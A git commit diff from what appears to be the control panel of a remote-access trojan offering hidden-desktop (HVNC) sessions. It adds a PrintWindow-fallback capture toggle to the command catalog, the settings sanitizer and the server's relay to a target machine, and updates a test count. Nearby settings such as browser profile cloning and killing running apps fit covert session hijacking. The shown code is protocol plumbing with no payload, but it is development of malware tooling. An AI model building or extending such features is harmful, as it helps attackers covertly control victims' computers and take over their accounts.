add DWM for HVNC with PrintWindow fallback

This commit is contained in:
KingKDot
2026-07-30 19:41:45 -05:00
parent d829864527
commit dfef3e012f
15 changed files with 763 additions and 7 deletions
@@ -140,6 +140,7 @@ export const COMMAND_TYPES = [
"backstage_enable_dxgi",
"backstage_enable_keyboard",
"backstage_enable_mouse",
"backstage_enable_printwindow_fallback",
"backstage_enable_uia",
"backstage_installed_apps",
"backstage_key_down",
@@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = {
"min": 1,
"max": 1
},
"backstage_enable_printwindow_fallback": {
"min": 1,
"max": 1
},
"backstage_enable_uia": {
"min": 1,
"max": 1
@@ -17,7 +17,7 @@ import {
describe("generated wire protocol contract", () => {
test("publishes the complete command catalog", () => {
expect(WIRE_PROTOCOL_VERSION).toBe(1);
expect(COMMAND_TYPES.length).toBe(141);
expect(COMMAND_TYPES.length).toBe(142);
expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
expect(isCommandType("desktop_start")).toBe(true);
expect(isCommandType("virtual_window_list")).toBe(true);
@@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
assignIfDefined(out, "uia", pickBoolean(input.uia));
assignIfDefined(out, "printWindowFallback", pickBoolean(input.printWindowFallback));
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
@@ -1363,6 +1363,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
case "backstage_enable_dxgi":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
break;
case "backstage_enable_printwindow_fallback":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled });
break;
case "backstage_enable_uia":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
break;